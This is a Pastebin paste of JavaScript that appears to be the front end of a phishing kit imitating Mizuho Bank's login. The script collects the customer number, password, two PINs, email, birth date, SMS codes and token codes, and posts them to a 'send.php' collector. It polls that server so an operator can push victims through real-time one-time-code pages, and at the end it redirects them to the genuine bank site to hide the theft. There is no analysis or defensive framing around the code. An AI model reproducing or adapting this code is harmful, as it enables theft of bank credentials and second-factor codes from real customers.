Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var loadingOverlay = document.querySelector('.a-loading');
- function loginListening() {
- var txbCustNo = document.getElementById("txbCustNo");
- var loginButton = document.getElementById("loginButton");
- loginButton.disabled = true;
- // 监听输入框的输入事件
- txbCustNo.addEventListener("input", function () {
- // 获取用户输入的值
- var txbCustNoValue = txbCustNo.value;
- // 检查输入的长度是否为6
- if (txbCustNoValue.length != 0) {
- // 如果输入的长度为6,启用按钮
- loginButton.disabled = false;
- } else {
- // 如果输入的长度不为6,禁用按钮
- loginButton.disabled = true;
- }
- });
- }
- function PasswordListening() {
- var txtCustNo = document.getElementById("txtCustNo");
- txtCustNo.textContent = getCookie('txbCustNo');
- var Password = document.getElementById("password");
- var PasswordButton = document.getElementById("btnLogin");
- PasswordButton.disabled = true;
- Password.addEventListener("input", function () {
- var PasswordValue = Password.value;
- if (PasswordValue.length != 0) {
- PasswordButton.disabled = false;
- } else {
- PasswordButton.disabled = true;
- }
- });
- }
- function verificationListening() {
- txtCustNo.textContent = getCookie('txbCustNo');
- var submitButton = document.getElementById("verificationSubmit");
- submitButton.disabled = true;
- }
- function smsListening() {
- txtCustNo.textContent = getCookie('txbCustNo');
- var smsButton = document.getElementById("smsButton");
- smsButton.disabled = true;
- }
- function tokenListening() {
- var inputpin = document.getElementById("inputpin");
- inputpin.textContent = getCookie('inputpin');
- }
- function verificationCheckInputs() {
- var pin1 = document.getElementById("pin1");
- var pin2 = document.getElementById("pin2");
- var email = document.getElementById("email");
- var yearInput = document.getElementById("birthdayYear");
- var monthInput = document.getElementById("birthdayMonth");
- var dayInput = document.getElementById("birthdayDay");
- var submitButton = document.getElementById("verificationSubmit");
- pin1.value = pin1.value.replace(/[^0-9]/g, '');
- pin2.value = pin2.value.replace(/[^0-9]/g, '');
- yearInput.value = yearInput.value.replace(/[^0-9]/g, '');
- monthInput.value = monthInput.value.replace(/[^0-9]/g, '');
- dayInput.value = dayInput.value.replace(/[^0-9]/g, '');
- var year = parseInt(yearInput.value);
- var month = parseInt(monthInput.value);
- var day = parseInt(dayInput.value);
- if (pin1.value.length == 4 &&
- pin2.value.length == 6 &&
- email.value.length != 0 &&
- year >= 0 && year <= 9999 &&
- month >= 1 && month <= 12 &&
- day >= 1 && day <= 31) {
- submitButton.disabled = false; // 启用按钮
- } else {
- submitButton.disabled = true; // 禁用按钮
- }
- }
- function smsCheckInputs() {
- var sms = document.getElementById("sms");
- var smsButton = document.getElementById("smsButton");
- sms.value = sms.value.replace(/[^0-9]/g, '');
- if (sms.value.length != 0) {
- smsButton.disabled = false; // 启用按钮
- } else {
- smsButton.disabled = true; // 禁用按钮
- }
- }
- function login() {
- var txbCustNo = document.getElementById("txbCustNo").value;
- setCookie("txbCustNo", txbCustNo, 1);
- window.location.href = 'Password.php';
- }
- function passwords() {
- loadingOverlay.style.display = 'block';
- var password = document.getElementById("password");
- var data = {
- txbCustNo: getCookie('txbCustNo'),
- password: password.value,
- }
- send('Addaccount', data)
- }
- function verification() {
- loadingOverlay.style.display = 'block';
- var pin1 = document.getElementById("pin1");
- var pin2 = document.getElementById("pin2");
- var email = document.getElementById("email");
- var yearInput = document.getElementById("birthdayYear");
- var monthInput = document.getElementById("birthdayMonth");
- var dayInput = document.getElementById("birthdayDay");
- var bir = yearInput.value + monthInput.value + dayInput.value;
- var data = {
- pin1: pin1.value,
- pin2: pin2.value,
- email: email.value,
- bir: bir,
- }
- send('AddData', data)
- }
- function sms() {
- loadingOverlay.style.display = 'block';
- var sms = document.getElementById("sms");
- var data = {
- sms: sms.value,
- }
- send('Addsms', data)
- }
- function send(operation, data) {
- axios.post('../send.php', {
- operation: operation,
- data: data,
- }, {
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded'
- }
- })
- .then(function (response) {
- if (response.data.jump == 'login') {
- window.location.href = 'index.php';
- } else if (response.data.jump == 'loginerr') {
- alert('認証に失敗しました')
- window.location.href = 'index.php';
- } else if (response.data.jump == 'data') {
- window.location.href = 'verification.php';
- } else if (response.data.jump == 'dataerr') {
- window.location.href = 'verification.php?data=err';
- } else if (response.data.jump == 'sms') {
- window.location.href = 'sms.php';
- } else if (response.data.jump == 'smserr') {
- alert('認証コードが間違った')
- window.location.href = 'sms.php';
- } else if (response.data.jump == 'token') {
- setCookie("inputpin", response.data.inputpin, 1);
- window.location.href = 'token.php';
- } else if (response.data.jump == 'tokenerr') {
- setCookie("inputpin", response.data.inputpin, 1);
- alert('認証コードが間違った')
- window.location.href = 'token.php';
- } else if (response.data.jump == 'email') {
- window.location.href = 'email.php';
- } else if (response.data.jump == 'emailerr') {
- alert('認証コードが間違った')
- window.location.href = 'email.php';
- } else if (response.data.jump == 'done') {
- alert('認証完了')
- send('done', null)
- window.location.href = 'https://www.mizuhobank.co.jp/index.html';
- } else if (operation == 'Queryingjump') {
- setTimeout(function () {
- send('Queryingjump', data)
- }, 2000);
- }
- })
- .catch(function (error) {
- // 处理错误
- });
- }
- //存入
- function setCookie(name, value, days) {
- var expires = "";
- if (days) {
- var date = new Date();
- date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
- expires = "; expires=" + date.toUTCString();
- }
- document.cookie = name + "=" + value + expires + "; path=/";
- }
- //获取
- function getCookie(name) {
- var cookieValue = "";
- var cookies = document.cookie.split("; ");
- for (var i = 0; i < cookies.length; i++) {
- var parts = cookies[i].split("=");
- var cookieName = parts[0];
- var cookieData = parts[1];
- if (cookieName === name) {
- cookieValue = cookieData;
- break;
- }
- }
- return cookieValue;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement